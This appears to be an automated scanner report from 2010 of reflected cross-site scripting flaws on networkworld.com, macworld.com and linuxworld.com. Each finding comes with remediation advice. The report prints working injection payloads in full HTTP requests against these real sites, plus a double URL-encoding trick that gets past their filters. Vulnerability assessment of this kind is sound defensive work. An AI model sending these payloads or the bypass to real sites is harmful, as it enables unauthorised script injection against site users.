Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbf58%2522%253balert%25281%2529%252f%252f0325ce23121 was submitted in the REST URL parameter 2. This input was echoed as dbf58";alert(1)//0325ce23121 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /show/200000695dbf58%2522%253balert%25281%2529%252f%252f0325ce23121/00102100012294NWWNLCIFQLELI/ HTTP/1.1 Host: resources.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550;
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25777%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3e7c8b972df was submitted in the REST URL parameter 3. This input was echoed as 25777"><script>alert(1)</script>3e7c8b972df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /show/200000695/25777%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3e7c8b972df/ HTTP/1.1 Host: resources.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Con ...[SNIP]... <iframe src="http://reg.idgenterprise.com/reg/nww/form/200000695?SOURCE=25777"><script>alert(1)</script>3e7c8b972df&sHdr=0&codetype=h&pagename=pageName|White Paper:LG:3904:PacketTrap IT Network & IT Infrastructure Management&pagetype=prop2|White Paper" width="700" height="1450" style="position:relative;left:0px;top ...[SNIP]...
1.3. http://www.linuxworld.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.linuxworld.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 719ec'-alert(1)-'2a98c24cd70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?719ec'-alert(1)-'2a98c24cd70=1 HTTP/1.1 Host: www.linuxworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the mfr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a218a</script><a%20b%3dc>2e265af0bfa was submitted in the mfr parameter. This input was echoed as a218a</script><a b=c>2e265af0bfa in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /appguide/browse.html?mfr=The+Washington+Post+Companya218a</script><a%20b%3dc>2e265af0bfa HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:17:55 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:17:55 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... <!-- /* You may give each page an identifying name, server, and channel on the next lines. */
s.pageName="iphone app guide:chart sorted - mfr:the washington post companya218a</script><a b=c>2e265af0bfa"; s.server=""; s.channel="iphone app guide"; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3="display type:chart sorted - mfr"; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8=""; s.prop9=""; s ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c993"><a>1eefbcc1ec4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /browse.html2c993"><a>1eefbcc1ec4 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=85F17EEC4817F00B1EA9E30B686FEB07; __utmz=239001628.1292554093.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/0|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|268567BE851D11C9-40000128800020E2[CE]; __utma=239001628.514688090.1292554093.1292554093.1292554093.1; __utmc=239001628; __utmb=239001628;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8847f'-alert(1)-'93ba796c657 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /newsletters/index8847f'-alert(1)-'93ba796c657 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:21:58 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9573f'-alert(1)-'ce0e6324737 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /register9573f'-alert(1)-'ce0e6324737 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:36 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... e = pcw_readCookie('macUserName'); Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/register9573f'-alert(1)-'ce0e6324737'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59047'-alert(1)-'430e2d29b5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /reviews.html59047'-alert(1)-'430e2d29b5b HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:15 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54cb6'-alert(1)-'995e89e398d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weblogs.html54cb6'-alert(1)-'995e89e398d HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:19:09 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/weblogs.html54cb6'-alert(1)-'995e89e398d'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
1.10. http://www.networkworld.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.networkworld.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5756'-alert(1)-'5c02be9f84e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?c5756'-alert(1)-'5c02be9f84e=1 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 02:23:43 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 02:23:43 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=174.121.222.18.1292552622512961; path=/; expires=Sun, 16-Dec-12 02:23:42 GMT Content-Length: 212179
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11ff1'-alert(1)-'1a3ef825d25 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes11ff1'-alert(1)-'1a3ef825d25/r08/demandbase.js HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lastTopStoryBlock=2; Apache=221.218.248.20.1292555135478536; s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550; breakingnewsfilter=breakingnews-all;
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 19:16:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 19:16:29 GMT Connection: close Connection: Transfer-Encoding Content-Length: 74992
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9c9ea'-alert(1)-'525bbe24906 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/r089c9ea'-alert(1)-'525bbe24906/demandbase.js HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lastTopStoryBlock=2; Apache=221.218.248.20.1292555135478536; s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550; breakingnewsfilter=breakingnews-all;
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 19:16:39 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 19:16:39 GMT Connection: close Connection: Transfer-Encoding Content-Length: 74992
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d9251'-alert(1)-'b5d63d1a5b2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/r08/demandbase.jsd9251'-alert(1)-'b5d63d1a5b2 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lastTopStoryBlock=2; Apache=221.218.248.20.1292555135478536; s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550; breakingnewsfilter=breakingnews-all;
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 19:16:48 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 19:16:48 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76584
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30bbe'-alert(1)-'77c0423e5b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /resourcelibrary30bbe'-alert(1)-'77c0423e5b/ HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lastTopStoryBlock=2; Apache=221.218.248.20.1292555135478536; s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550; breakingnewsfilter=breakingnews-all;
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 19:16:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 19:16:28 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76551
1.15. http://www.networkworld.com/video [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.networkworld.com
Path:
/video
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ba181'-alert(1)-'53ebba96608 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video?ba181'-alert(1)-'53ebba96608=1 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lastTopStoryBlock=2; Apache=221.218.248.20.1292555135478536; s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550; breakingnewsfilter=breakingnews-all;
Response (redirected)
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 19:16:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 19:16:37 GMT Content-Length: 21200 Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24173'-alert(1)-'a1635436dce was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.linuxworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=24173'-alert(1)-'a1635436dce
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4df74'-alert(1)-'783303cfbe2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=4df74'-alert(1)-'783303cfbe2
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 02:23:53 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 02:23:53 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=174.121.222.18.1292552632885382; path=/; expires=Sun, 16-Dec-12 02:23:52 GMT Content-Length: 212139
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 115ec'-alert(1)-'1fc380e2b30 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lastTopStoryBlock=2; Apache=221.218.248.20.1292555135478536; s_pers=%20s_pv%3Dhomepage%253AHomepage%7C1292558034023%3B; __utmz=219500550.1292556237.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/3|utmcmd=referral; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B%20s_ppv%3D17%3B; __utma=219500550.2119020461.1292556237.1292556237.1292556237.1; idglg_ref_domain=burp; __utmc=219500550; __utmb=219500550; breakingnewsfilter=breakingnews-all; Referer: http://www.google.com/search?hl=en&q=115ec'-alert(1)-'1fc380e2b30
Response (redirected)
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 19:16:46 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 19:16:46 GMT Content-Length: 22828 Connection: close